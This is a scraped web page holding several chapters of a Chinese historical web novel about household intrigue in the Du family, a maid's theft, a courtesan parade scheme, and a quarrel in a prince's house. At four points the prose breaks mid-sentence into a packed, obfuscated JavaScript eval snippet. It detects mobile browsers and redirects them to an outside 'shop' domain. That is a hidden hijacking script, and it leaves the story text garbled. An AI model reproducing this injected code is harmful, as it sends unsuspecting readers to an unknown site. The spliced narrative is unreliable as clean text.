“凭你?也配?”老鸨啐了一口,扭身便往里走,“下回可别又输得连底裤都不剩!” 男子显然对此习以为常,轰开围观人群,大摇大摆钻进对门脚店,扬声道:“小二!老规矩,一壶酒,两个小菜!” “得嘞!”小二高声应和,转头又朝新进店的两位客人堆笑招呼,“客官里边请!” 那两位客人微微点头:“一壶清酒,再上两道招牌菜。”说罢径直走到先前那男子邻座坐下,自顾闲聊起来。 “钱兄这些日子难得出来,定要陪兄弟好好喝两盅!” 钱姓男子苦笑:“李兄快别提了。如今杜府是二公子屋里的倪大娘子掌家,手段厉害得紧,再不是张夫人和周小娘当家时的时候了。往后莫说溜出来吃酒,怕是偷闲都难了。” 李姓男子奇怪道:“不是说暂代管家么?” 又宽慰道,“待这阵风头过去,杜大人气消了,权柄总要回到张夫人或周小娘手中。” “李兄有所不知”钱姓男子连连摇头,“单说周小娘,面上养着一双儿女,主君也常去走动,可这都是虚的。她家三公子仲恒连考两年省试都未中,等到高中还不知猴年马月。那些进士及第的,一两次就中的凤毛麟角,多的是考到两鬓斑白之人。如今三公子心灰意冷,终日流连烟花之地,依我看竟是一年不如一年了。” 李姓男子闻言也嗤笑不已。 钱姓男子抿了口酒,继续道:“周小娘出身寒微,原本与你我无异。在杜府能掌事,全仗子女得宠。如今儿子没有前程,自然牵连女儿婚嫁。这夫人素来视他们母子为眼中钉,婚姻大事又握在夫人手中,岂会给四姑娘润玥寻个好人家?” “儿女都指望不上,如今又得罪主君,周小娘的地位已是岌岌可危了。” 钱姓男子问:“可杜大人这次不是连夫人也重罚了?” “这怎能一样?”钱姓男子连连摆手,“同样是责罚,轻重却有天壤之别。夫人的嫡女明月嫁入伯爵府,嫡子伯恒一次就中了进士,如今已是天子门生,娶的又是国子监祭酒倪家的嫡女。现下倪氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈竹也不例外。她虽恨兄长将她卖入杜府为奴为婢,却不得不为家中唯一的男丁打算,所以这些年攒下的体己,多半都填补了他。 年深日久,兄妹二人竟在东京城置下一处小宅。虽不甚宽敞,总算有了安身立命之所。 可日子稍见起色,陈笃就慢慢流连于秦楼楚馆,纵酒狎妓。眼见杜家恩宠日隆,去年嫡长子伯恒又高中进士,将来富贵不可限量。周小娘有子女产业倚仗,地位稳固,陈竹以后拿回来的银两不说越来越多,至少是肯定不会断的。他由此愈发挥霍无度,将前些年积攒的银钱败个精光。近两年更染上赌瘾,平白添了许多亏空。 因着背靠杜家这棵大树,他从未将输钱欠债放在心上。可方才那番话,却如利剑穿心,将他的美梦戳得千疮百孔。 他猛然想起昨日陈竹托人带话,说“今时不同往日,出门不便,清明恐难回家,望兄莫忘祭扫父母,切勿因醉酒误事”。 如今细想,那二人所言恐怕八九不离十! 想起昔日做苦力时饥寒交迫的惨状,再联想往后数十年或许又要重蹈覆辙,他不由得连打几个寒颤。 不行!绝不能让这样的事发生!必须尽快想出对策! 留给他的时日无多,定要逼陈竹在周小娘这座靠山倾倒之前,榨出更多银钱!!! 想到此处,陈笃再顾不得桌上尚有余温的酒菜,猛地起身,踉跄着冲出门去。谁知整个脚店竟无一人阻拦他。 钱姓男子见状唤来小二,“他尚未结账,你们怎不拦着?” 小二笑道:“客官是初来,有所不知。这般情形隔三差五便有一回,我们都习以为常了。头几回还追出去讨要,后来连他住处都摸清了。” “说来也怪,十次有八次他掏不出银钱,可每月总有一两回,倒像能凭空变出银子似的,不光结清旧账,还硬要赏些跑腿钱。时日久了,我们也由着他去——横竖有宅子在那儿,跑得了和尚跑不了庙!” 李姓男子奇道:“怎说是变出来的,万一是他正经挣的呢?许是你们去讨债时,恰逢他发了月钱。” “他日夜泡在对门的云想阁,哪得空闲去挣钱?”小二嗤笑,“再说辛辛苦苦挣来的血汗钱,谁不是掰成几瓣花?哪会这般挥霍,还舍得赏人跑腿钱?” 李钱二人闻言,相视摇头。这陈笃,当真是一滩烂泥,扶不上墙了。 12.难眠之夜 晚膳时分,杜府的含露阁内已早早掌了灯。各色仆人女使都在闷声做自己的活计。 突然,一道清脆的“啪”的声音传来,在这肃静的氛围下显得格外刺耳。 这已是陈竹今晚失手打碎的第二只瓷盏。 完了!陈竹闭紧双眼,浑身控制不住地颤抖起来。 没等她回过神,周小娘已一阵风似的从内室冲出。这两日她心中本就郁结着一团火,正愁无处发泄,这蠢婢倒自己撞了上来。 她几个箭步逼至陈竹面前,二话不说扬起手,左右开弓便是两记响亮的耳光。力道之狠,连她自己鬓边的步摇都缠进了发丝中,那张惯常在杜荣晦面前柔婉动人的脸,此刻五官扭曲,哪有半分平日的温顺模样? “贱人!凭你也敢敷衍我的差事!想是你的手脚都被狗吃了!蠢笨成这样!” 一番斥骂后,周小娘仍觉不解气,想着此刻正需立威,不然便有人觉得她失势,恐怕立时三刻就要踩在她头上了,便当即厉声喝道:“来人!把这贱婢拖到院中的石子路上,不跪足六个时辰不准起身!” 话音未落,立时有两个粗壮女使上前,不由分说架起陈竹就往外拖。 将出正屋时,陈竹依稀听见周小娘心腹甘妈妈的声音隔着屏风传来:“小娘何必动气?不过是个不值钱的丫头,不喜欢就卖给人伢子打发出去便是,这些都是小节……如今要紧的是主君那头……” 不值钱的丫头……陈竹心头一片冰凉。 是啊,她本就不值钱——兄长能为七十贯钱将她发卖,主家也能因两只杯盏将她转手。她明明已拼尽全力活着,却终究活不出个人样。 院中,一个小丫头正端着铜盆喂四姑娘润玥的爱犬,嘴里絮絮叨叨:“你这孽畜愈发刁嘴了,从前还肯吃些鸡肉,如今非牛肉不食……瞧你这肚腩都快拖到地上了……” 真是可笑,她一条人命,竟活得不如一条牲口。 正屋内,周小娘发落完人,余怒未消地跌坐在罗汉床上,胸口剧烈起伏。甘妈妈奉上一盏新沏的壑源茶。 此茶兼得香、甘、重、滑四味,因生于断崖缺石之地,产量稀罕,如今在名门望族间极受推崇。眼下这些,还是杜荣晦建州任上的同僚年下特意寄来的,统共只得两罐。一罐杜荣晦自留,另一罐尽数给了周小娘。 记得当时周小娘心中欢喜难抑,面上却偏要作出乖巧模样,依偎着杜荣晦娇声道:“从来佳茗似佳人。这样好的茶,主君怎都赏了奴家?合该给大娘子分些才是。” 杜荣晦刮着她的鼻尖,柔声笑道:“佳茗既似佳人,自然要真正的佳人来品才不算辜负。大娘子出身商贾,性子浅薄张扬,只会牛饮,哪懂得品茶?给她也是糟蹋。” 言语间的鄙薄毫不掩饰,听得周小娘眉开眼笑。 此刻轻啜一口清甜回甘的茶汤,周小娘心绪稍平。她推心置腹地对甘妈妈道:“其实主君那头我倒是不担心。他如今都快做祖父的人了,行事最是谨小慎微,生怕被御史参上一本,哪会再纳新人?这府里除了没了的樊氏和那活死人文氏,横竖就我与张初云两个。此番我们一同受罚,且大娘子的脾气向来与主君不对付,他总会来我这里的。” 说到此处,她幽幽一叹:“真正教我寝食难安的,是润儿的婚事。原想着杜家如今蒸蒸日上,主君为着前程,对润儿嫁入高门该是乐见其成。谁知不过赴了回诗会,就惹得他这般不快。大姐儿已入了伯爵府,若润儿再嫁高门,主君难免落个攀附权贵的名声……他哪里肯依?想到这一层,我真真是愁得夜不能寐。” 甘妈妈劝道:“小娘说的很是,主君的心自然是在您这里的,只是现下您和大娘子都被冷落,若您能早点把主君拢回来,不是也能趁着大娘子失势好争取四姑娘的婚事吗!不然等大娘子也缓过神来,必定是要插手阻拦的,内宅的一应事务,终究还是大房做主的,到时便更麻烦了!” 甘妈妈这番话如醍醐灌顶,周小娘神色骤然一凛。她将手中的茶盏重重往案上一顿,发出清脆的锐响。 “是了!”周小娘眸中闪过一丝厉色,“此时正是风口浪尖,若不能趁势而为,等张氏缓过气来,怕是枝节横生。到时再要周旋,便是难上加难。” 她微微前倾身子,指尖轻叩桌面:“不出一月便是清明,我朝最重孝道。主君双亲故去多年,陵墓也是时候该好生修缮了。” 周小娘眸中闪过一丝筹谋的亮光,声音也沉静下来,“明早,你便替我梳个清淡的妆容,再将那件雨过天青的素锦襦裙找出来。我穿着它,去书房外候主君下朝。” 虽已入春,东京城的倒春寒却依旧凛冽。 是夜北风号寒,将庭院里那几株早放的桃树枝桠吹得咔咔作响。几片娇嫩的花瓣不堪摧折,纷扬零落下来,飘在了陈竹散乱的发间。 她单薄的身子已在十字路上跪足了两个时辰。那张好不容易养出些许血色的脸,此刻冻得青白交加,唇色发紫。膝盖早从剧痛转为麻木,如今像是长在了冰冷的石子上,再无半分知觉。 可□□的痛苦,远不及心底绝望的万分之一。 午后那两封家信,字字如淬毒的针,扎得她体无完肤。 第一封,哥哥陈笃语气狠厉,说他赌输了,债主堵门,若明日晌午凑不齐三百两银子,便要收走房契地契,外加他一只手。 第二封送来时已是黄昏,字迹潦草,已几近哀告——他求她看在亡故父母的份上,最后救他一次。 救他? 陈竹扯出一个比哭还难看的笑。七岁那年父母双亡,家徒四壁,就是这个哥哥,转身将她卖入杜府,换得七十两银子。从此她沦为贱籍,小小年纪便在下人堆里做着最脏最累的活。 她记得刚进府时,因少给了管事妈妈赏钱,被二十板子打得皮开肉绽,扔在柴房里自生自灭。那些年,她像野草般在缝隙里求活,浣衣扫地,挨饿受冻,一步步从粗使丫头熬到二等女使。分到周小娘院里后,日子才稍见起色。 她起初小心翼翼,可眼见旁人中饱私囊安然无恙,自己也忍不住伸了手。 就当做这些年受苦的补偿罢! 这一伸手,便再难回头。积少成多,竟在京中置下一处小宅。她原想着,再熬两年,攒足嫁妆便赎身出府,寻个老实人过日子,从此挺直腰杆做人。 可陈笃轻飘飘几句话,就将她多年的隐忍与积蓄尽数碾碎。 三百两!她当初的卖身钱也才七十两!他要她一日之内去哪里弄来? 寒风如同利刃刮在她的脸上。她咬紧牙关,被冻得僵硬的手指在袖中慢慢收拢,攥成一团。 凭什么?同样爹生娘养,有人锦衣玉食,有人却连活着都要拼尽全力? 不!那宅子是她用血泪换来的,绝不能让他输掉! 既然横竖没有活路——不如赌一把! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天爷!您脸上这是怎么了?” 文氏心头一紧,来不及唤人更衣,随手抓起外衫便冲了出去。 一出内室,文氏便瞧见书恒只穿着单薄的衣服站在那里哭,浑身沾满棍棒挥扫留下的灰痕,衣衫上零落着杂乱的脚印。侧脸肿起老高,嘴角破裂渗血,连拭泪的手背都肿得像发面馒头。 “快!取药箱来!”文氏声音发颤,拉过儿子坐在榻沿,用绢帕轻轻擦拭他脸上的污痕,“告诉娘,这是怎么了?” “娘,我也想念书,也想考功名”书恒抽噎着,眼泪混着血水往下淌,“我想着大哥哥的书我一时用不上,三哥哥的或许能看懂,就去他书房想偷偷拿出来,看完便还,谁知被他的小厮撞见。他们分明认出了我,却硬说我是贼,不由分说就是一顿打,打完才说认错了人。” 他抬起肿痛的手抓住母亲的衣袖,哭得几乎喘不过气:“娘,我只是想念书,我没想偷东西啊!” 文氏听着儿子断断续续的哭诉,心像是被钝刀来回割着。她久久没有说话,只将书恒紧紧搂在怀里,指尖轻抚着他青紫的颧骨。 夜风穿过廊下,吹得灯影摇曳不定。 终于,她深吸一口气,声音很轻,却带着破釜沉舟的决绝:“是娘对不起你……往后不会了,再也不会了。” 13.彻查含露阁 第二日辰时刚至,周小娘的大丫鬟连翘估摸着时辰已到,这才扭着腰肢走到陈竹面前。她连一口水都懒得施舍,直接将一块脏污的抹布扔在陈竹脚边,扬着下巴颐指气使:“趁着小娘出门,赶紧去把内室的地面擦了!这次再敢毛手毛脚,仔细你的皮!” 说罢,也不等陈竹回应,便转身与几个相熟的小丫头说笑着往下房去了。 就是现在! 陈竹咬紧牙关,用尽全身力气才拖动那双早已冻得僵直的腿。她颤巍巍地站起身,目光死死锁住周小娘内室的方向,一步步挪了过去。 她对那间屋子再熟悉不过了——周小娘生产三公子时,主君赏下的那对赤金衔南珠金钗,管事妈妈曾摸着它满眼放光,说少说也值五十两!还有生育四姑娘时的赏赐、年节里的体己、主君私下偏心塞给她的好东西……甚至三公子中了举人后孝敬的那方金砚台! 它们都收在妆台的奁盒与床左侧的柜子里! 一夜未眠使得陈竹眼底布满血丝,她颤抖着手打开奁盒,几乎来不及思考,那些沉甸甸的金玉之物便已塞满了她的袖笼与衣襟。 幸好这两日天气又转冷,衣衫厚重,多藏些东西也不易被察觉。 可她心知肚明,不出几个时辰,周小娘必定会发现失窃。不能再等了!必须立刻离开杜府! 行李决不能带——既不值钱,更会惹门房盘查。陈竹狠下心,拢紧衣襟,头也不回地朝二门方向走去。 她心跳得像打鼓一般,面上却强作镇定。许是平日怯懦惯了,一路竟无人留意她的异样。 眼看二门就在眼前,陈竹心头狂跳——老天爷终究可怜她得不容易,这次竟让她如此顺利! 只要跨出这道门,她就自由了! “站住!你怀里藏的什么!”一声厉喝自身后炸响,陈竹浑身血液瞬间冻结。 她僵硬地回头,只见倪大娘子身边的贴身女使正冷冷盯着她,身后还跟着几个膀大腰圆的马婆子。 不等她辩解,那几个婆子已凶神恶煞地扑上来,三两下便将人制住。金钗、珠串、砚台……赃物接二连三从她衣襟袖中抖落出来,在青石地上发出刺耳的脆响。 “人赃并获!绑了,押去问事厅!”那女使声线冰寒,目光如刀扫过众人,扬声道:“周小娘院里的人手脚不干净,为防遗漏,你们现在就去把含露阁的下房统统搜一遍!一处都不准放过!” 这一日,杜府接连发生了两桩大事,在后宅掀起了不小的波澜。 头一桩是倪大娘子雷厉风行,在含露阁下房搜检出了许多来路不明的金银细软并散碎银两。几个一等女使的箱笼里,竟还翻出了数额不小的交子,连个正当名目都说不出来。 倪大娘子当即将人赃并获,一字排开摆在刚下朝的杜荣晦面前。 杜荣晦本就为朝务烦心,回府又见这般乌烟瘴气,当即勃然大怒,又发出了全府都能听见的斥骂声。涉事的一干女使婆子尽数被发落出府,连周小娘的心腹甘妈妈也未能幸免,多年经营顷刻瓦解。 正院里,张初云听闻此事,这段时间积攒下来的郁闷顿时消散,乐不开支,午膳都比平常多吃了两碗。 这第二桩,却是谁也没料到的——沉寂多年的文小娘,竟不声不响地复了宠。 原来这日下午,杜荣晦被家事搅得心烦意乱,信步至后花园散心。谁知突然瞧见位一袭粉蓝衣裙的女子踮脚摘桃花,身形不稳从凳上跌落,正正被他揽入怀中。 杜荣晦垂眸看去,但见文小娘云鬓微乱,衣袂间萦绕着清浅的桃花香气,往日里素净的面容在惊惶中竟透出几分娇艳。 这一接,便接出了不一样的光景。 晚膳时分,盈玥静听乐清禀报今日种种,面上不见波澜——这本就是她一手布下的棋局。唯独想到书恒小小年纪便受了这般苦楚,心下不由一软,轻声问道:“提前备好的伤药,可给七哥儿送去了?” “姑娘放心,给李钱二人的赏银已命人送去了”乐清温声应道,“为七公子准备的伤药也一早悄悄拿去了。因这事不便声张,我只说是洒扫的下人偶然瞧见公子身上的伤,说漏了嘴,姑娘才知道他挨了打,忙命我们送药来。又说原是姑娘给他出主意,让他去取三公子的书温习,这才惹出祸事,是姑娘的不是。” 她顿了顿,语气里带了几分动容,“七公子听了,反倒连连宽慰,说知道六姐姐是为他好,让您不必自责。还道等伤好了,仍想常来与您亲近——他说这府里除了文小娘,便只有您是真心疼他的。” 盈玥听着乐清的复述,又想起多年前,杜荣晦从建州任上升至东京,她身体孱弱,当时正生着一场大病,未能同行,被杜荣晦留在建州宅子养病,当时全家都沉浸在搬迁到京都的喜悦中,无一人在意她,临行前,只有书恒跑过来,依依不舍地道别,哭的不成样子。 想到这里,盈玥心头微微一颤:“他伤得重吗?” 乐清蹙起眉。她家中也有个与七公子年岁相仿的弟弟,虽家境清贫,却得父母全心爱护,日子虽苦,却也安乐。想到这儿,她话里不禁带了几分怜惜:“伤得不轻。脸颊肿得老高,青一块紫一块的,连手背上都是伤。那几个黑心肝的,竟下得去这般重手!” 盈玥眸色一冷:“既是我们故意透出七哥儿每夜去三哥哥书房取书的消息,动手的是谁,你们应当清楚。” 乐清点头:“是我亲自安排人透露的,自然知道是谁。” 盈玥唇角微扬,笑意却未达眼底,那感觉像覆在冰面上的一层薄霜:“这笔账,自是要还的。” 这一年的倒春寒来得格外峻峭,东京城内的桃花直到捱过清明的冷雨,才硕大地绽满了枝头。 按照每年的惯例,永华楼也在这个月份选出了新一任当家花魁。 此番的娘子姓卫,据闻是重金自杭州求得,不仅容色倾国,舞姿如柳,更兼有一把黄莺出谷般的好嗓子。遴选当日,便引得京城子弟竞相折腰,只为争作其入幕之宾,一顿陪膳的价码竟被哄抬至百金,真是名动京城,风头无两。 与此同时,董余加入丰乐楼后,却并未如其他人料想的那般大张旗鼓。他谨遵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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叶十九躬身应答:“阮娘子日夜勤勉,未尝有一日懈怠。她本就功底扎实,天资聪颖,如今已可谓大成。” 盈玥微微颔首:“这月楼里虽推了新菜,酒水却仍是旧谱。董师傅手中有许多好酒的秘方,你去告诉他,时候到了,请他斟酌吧。” 她眸光一转,唇角泛起一丝清浅的笑意:“永华楼的卫娘子既当选花魁,按惯例,游街示庆的日子想必也近了。届时,便让咱们的阮娘子,带着新酿去为他们助助兴。” “属下明白,这就去安排。”叶十九领命。 却见盈玥又从书案上取过一本诗集,信手翻开一页,递将过来。“让庆喜去找到写下此词的人。他知道该怎么做。” 十九双手接过,目光落处,但见纸上笔墨清俊,写着一阕《一丛花令》: “伤高怀远几时穷?无物似情浓。离愁正引千丝乱,更东陌、飞絮蒙蒙。嘶骑渐遥,征尘不断,何处认郎踪。 双鸳池沼水溶溶,南北小桡通。梯横画阁黄昏后,又还是、斜月帘栊。沉恨细思,不如桃杏,犹解嫁东风。” 14.游街“碰瓷” 盈玥所料不差,不出三日,卫娘子游街的消息已传遍东京的大街小巷。 游街的当日,御街两侧早已人头攒动,水泄不通。二楼临窗的雅座更是千金难求,几位绸缎商的公子为争视野最佳的地方,险些当众指挥小厮打起来。 小贩们也拼命抓住这个难得的机会,在人群缝隙里钻营,兜售着廉价的香囊与绢花。 “来了!”不知是谁嘶哑地喊了一嗓子。 刹那间,丝竹管弦之声由远及近,如潮水般吞没了所有的嘈杂声。 开道的仪仗最先出现在视野尽头,他们都是清一色的青衣小帽。手中提着的琉璃灯盏,即便在白日里也流转着异常好看的华彩。 随后是两列梳着垂髫的少女,她们身着月白色的襦裙,手臂上挽着花篮,纤细白嫩的手轻轻扬起,有节奏地将新摘的桃花瓣与名贵的香屑纷纷扬扬撒向半空。 整条长街竟然一下子静了下来,下一刻,被更狂热的声浪彻底掀翻。 “卫娘子——!” 她终于现身了。 但她并未像此前的花魁一样,端坐于高高的彩车之上,而是慵懒地斜倚在一架由八名壮汉抬着的步辇中。 那步辇通体由沉香木雕就,镂刻着繁复的缠枝莲纹,上面缀满了珍珠、宝石,本是极尽奢华,却在她的容光映照下,黯然失色。 卫娘子一袭天水碧的罗裙,广袖飘逸,宛如仙子,裙裾像天边的云朵一样漫卷。青丝高绾成慵来髻,鬓边戴满了金簪和步摇,旁侧斜倚了一朵初绽的魏紫牡丹。 真真是人比花娇。 人群几近癫狂,将手中的鲜花、香囊,乃至玉佩、金钗,不顾一切地掷向步辇。金银珠玉撞击在木质栏杆上,叮咚作响,又滚落尘埃,她却连眼尾都未扫一下。 卫娘子沉浸在这疯狂的追捧中,心头正暗自得意,一股清冽而奇异的酒香却陡然穿透喧嚣,直侵心脾。她在风月场所经营多年,品尝过的美酒琼浆不可胜数,却无一似此酒这般,竟隐含着一缕沁人心脾的清韵,令人精神为之一振。 她正暗自惊讶,不知东京城内何时出了这般绝品,人群中却忽然爆出一声清亮的高呼:“丰乐楼的娘子也出来游街啦!” 听到这声叫喊,卫娘子忍不住微蹙秀眉,正准备吩咐侍女去查看究竟时,御街上刮起了一阵再寻常不过的春风。 风本是均匀地抚过整条长街,然而奇事却发生了——卫娘子那侧的桃树,枝头的花朵只是轻轻摇曳,纹丝不动;而对面,阮右轻即将现身的方向,那几株桃树却像是被惊醒一般,万千花瓣竟齐齐松脱,随风飞舞,化作一场盛大的桃花雪,纷纷扬扬,独独笼罩了那半条街域。 更绝的是,那缕奇异的酒香恰在此时,如同四面八方传来一般,精准地弥漫于这方桃花区域。 就在这花雪与酒香交织的一方天地中,阮右轻的身影缓缓清晰。 她没有乘坐步辇,未佩戴太多华丽的头饰,只一袭素净月白襦裙,乌黑的长发以一根简单的玉簪松松绾住。她身后随行的两名侍女手中,稳稳捧着一对素面陶坛,坛口微启——那奇异的酒香,正是董余秘制的新酒“雪浸春”。 与卫娘子的明艳逼人不同,阮右轻通身毫无缀饰,宛如清水芙蓉,却偏在这桃花雪与清冽酒香中,透出一股灵秀彻骨、清艳绝尘的气质。 春风拂过,裙裾飘举,花瓣好像眷恋地依偎她的发间、袖侧一般。 她并未言语,只随着队伍轻移莲步,唇边浅笑若有若无,目光清澈见底,再简单不过的举动,便已将周遭的万般嘈杂,都涤荡得安静下来。 方才掷向卫娘子的金银珠宝,此刻在地上显得格外俗气。众人都痴痴望着这半边街的奇景,嗅着那勾魂摄魄的酒香,心下恍然,竟忘了欢呼,也忘了比较。 就在人群还沉醉于花雨与酒香交织的幻境时,二楼临窗处,一位青衫文人仿佛被眼前景象触动,挥毫泼墨,随即信手将诗笺往楼下抛去。 纸页飘飘摇摇,恰好落在丰乐楼一个机灵伙计脚边。那伙计眼明手快,当即拾起,也不问来历,便朗声诵读起来: “东风偏怜玉楼人,乱红如雨堕轻尘。 雪浸春色凝素手,月涵秋水是仙身。 岂效凡葩争俗艳,自将清格化天真。 莫道东京花事好,此香此色始为春。” 诗声清亮,字句分明。伙计念罢,立即朝楼上拱手:“如此好诗,丰乐楼愿出二百金,买断此诗,并将其精工雕刻,永世留存于丰乐楼中,不知先生可愿割爱?” 此话一出,满街哗然。 二百金买一首即兴之作,这手笔比卫娘子百金的陪膳价还要翻了一番! 更何况是雕刻于酒楼之内,这分明是要借诗传名,流芳百世。 那青衫诗人倚栏大笑:“知音难觅,此作便当做我张三影赠娘子的见面礼。拿去便是!” 而此刻,街角那辆不起眼的青帷小车里,盈玥轻轻放下了车帘。 叶十九低声道:“张先生配合得极好,姑娘没有选错人。” 他语带钦佩,显然这一切都在盈玥的算计之中。 盈玥神色平静,淡然道:“他需要扬名,我们需要造势,各取所需,自然是一拍即合。” 她顿了顿,目光仿佛穿透车壁,望向那依旧喧嚣的街市,语气转为深沉:“其实今日,我并不十分在意右轻能否真的艳压卫娘子。关键在于这场‘游街’本身。从今往后,无论谁提起永华楼花魁游街的盛况,都必然会连带想起今日我丰乐楼的惊人之举。我们的名声,便就此与这东京第二楼绑在了一处。” 她唇角微扬,露出一丝清浅却笃定的笑意,“此计,可称之为——捆绑提携,强制升位。” 永华楼顶层雅室内,檀香氤氲,却驱不散一室凝滞的怒气。 伙计战战兢兢地将御街游街的种种情形一一禀报完毕。 只见白掌柜坐在太师椅上,指节捏得发白,脸色铁青,半晌,从牙缝里挤出一句:“我游街,她也游街!” “东京城是没地儿了吗?她非得挨着我?!” 他猛地拍了下桌面,震得茶盏叮当作响,茶沫溅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912758|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,在昂贵的紫檀木案上晕开深色的泪渍。白掌柜胸口剧烈起伏,那双精于算计的眼睛此刻几乎要喷出火来,“岳掌柜!好!你好的很!” 他咬着牙,每个字都像是从齿缝间碾过,“总要给你一些教训尝尝,不然...你也太得意了些!” 经此一役,丰乐楼名声大噪,连同那首价值二百金的诗与阮右轻清丽绝尘的身影,成了东京城里最炙手可热的谈资。 不过几日,叶十九便来密报,说我们的探子来信,丰乐楼已经引起了敌方的关注,不出几日,应该会安排人手过来,盈玥听到后,只是淡淡道:“既然如此,我们便敞开门户,请君入瓮吧。” 不出半月,丰乐楼便贴出了招录伙计的告示,条件颇为优厚,引得不少平民子弟前来应征。盈玥让庆喜坐镇,看似严格筛选,实则暗中放宽,不出一日便招入了十三名新人。 盈玥站在二楼的栏杆处,看着楼下新录用的杂役和伙计。叶十九立在其身侧,低声道:“探子必然混在这十三人中,既进来了,咱们需尽快识别出来。” 盈玥唇角微扬:“自然有办法。” 这些新人被分派到楼内各处,端菜送水,接触往来,看似一切如常。 七日后,一个平静的晌午,盈玥将庆喜唤至书房。 “庆喜,”她语气平淡,“去告诉账房,将这七日新招的伙计,全部结算工钱,明天天黑前,让他们离开。” 庆喜愣住了:“全部?掌柜的,这里面有好几个干活挺认真的,也没犯什么错啊……” “照我的话去做,”盈玥打断他,“理由就说‘手艺不够,不符合丰乐楼的规矩’,我们会马上再新招一批。” “明白了。”庆喜虽不解,却也不再追问,躬身退下。 一旁的叶十九却瞬间了然。 这些伙计杂役皆出身平民,即便被辞,工钱照结,又并无苛待,大多数人纵有不满,骂几句也就罢了。东京城活路多,犯不着在一家酒楼纠缠。 但探子不同。 他们身负任务,绝不能就此离开。 而这到明天日落前的这一日,就是盈玥留给他们的争取时间。想留下,就必须在这有限的时间里,各显神通。 而这主动暴露的过程,正是识别他们最好的方式。 夜已深,宁王府内院的书房内仍亮着一盏浅浅的灯。 叶十九垂首立于案前,按照每日惯例,将丰乐楼当天种种,原原本本地向上位者禀报完毕。 案后,沈昭行长久的沉默着,指节无意识地轻叩着桌面,在寂静中发出规律的轻响。他惯常冷峻的脸上,此刻竟看不出什么表情,唯有眼底深处,掠过一丝极锐利的光,如同苍鹰发现了意料之外的猎物。 良久,他才低低笑了一声,那笑声里带着毫不掩饰的赞叹,“她比我想象中的,还要有趣。” 就在这时,门外传来江开的声音:“将军,王爷请您去宁荣堂一趟。” 闻言,沈昭行眸中的微光瞬间黯了下去。 “知道了。”他声音低沉地回应。 15.爹不疼妈不爱 宁荣堂内,檀香袅袅,却驱不散那股无形的压抑。宁王将手中的文书放下,目光并未落在沈昭行身上,而是看着窗棂,缓缓开口。 宁王:“行儿,此次战事,你表现得很好。陛下今日又发了一道文,颇有嘉许。为父……也很欣慰。” 沈昭行:“父王过誉。” 一阵沉默后,宁王的语气沉了几分。 宁王:“只是,木秀于林,风必摧之。这道理,为父与你讲过多次。我宁王府已位极人臣,无需你再凭军功添砖加瓦。你可知,如今朝中有多少双眼睛盯着我们?你每立一功,便是在这烈火之上,再添一捆新柴。” 沈昭行微微抿唇,并未应答。 宁王继续道,声音里带上了不容置疑的告诫:“往后,这等冲锋陷阵、过于显眼之事,能避则避。朝堂议论,军政要务,你也尽量少掺和。安安分分,做个清贵闲散的臣子,才是你的本分,也是王府的福气。” 沈昭行依旧沉默,但那沉默已如同拉满的弓弦。 宁王终于将目光转向他,带着明显的不悦:“怎么不说话?是觉得为父说得不对?” 这句话,如同点燃引线的火星。 沈昭行终于不再沉默:“那为何您教导两个弟弟时,要让他们刻苦努力,勤学文治武功?” 宁王像是被戳中了痛楚,竟一下子拍案而起:“放肆!你这是在指责为父?!” “儿子不敢指责!”沈昭行迎着他的目光,积压多年的委屈与愤懑倾泻而出,“儿子只是不明白!从小到大,我写的字比弟弟们好,您说‘过于锋芒毕露’,我箭术比赛拿了第一,您说‘莫要争强好胜’;如今我在边关真刀真枪挣来军功,您又觉得‘是给王府惹祸’!” 他的声音越来越高,带着血淋淋的质询:“那碗差点要了我命的莲子羹,那匹在我独自骑乘时突然发狂的马,还有那个将我推入冰湖的‘意外’!父亲,您每次都说‘查无实据’,让我‘多多忍耐’!我忍耐了!我拼命变得更强,我以为我足够强了,您就能看见我,就能为我主持一次公道!可结果呢?我越强,您越厌弃!父王,您告诉我,我究竟要怎么做?是不是只有我变成一个庸碌无为、任人宰割的废物,才合您的心意?!才配做您的儿子?!” 这一连串的质问,如同惊雷,炸响在书房之中。 宁王脸色煞白,指着他,嘴唇哆嗦了半晌,才嘶哑地吼道:“滚!你这个逆子!给我滚出去!” 沈昭行死死看了他一眼,那眼神充满了无尽的悲凉与决绝,猛地转身,摔门而去。 宁王府的内宅中,沈昭明几乎是踩着轻快的步子闯进王妃院子的,脸上是压抑不住的兴奋与得意。 “母妃!”他挥手屏退了左右,凑到正在修剪花枝的王妃身边,声音里带着一丝邀功的雀跃,“吵起来了!宁荣堂那边,父王和沈昭行又大吵了一架,父王发了好大的火,让他‘滚出去’!贾管事说,过了一刻钟他进去倒茶时,父王那脸色,还是难看得紧!” 王妃修剪花枝的手微微一顿,嘴角勾起一丝冷冽的弧度:“哦?又吵起来了?这对我们倒是很有利。” 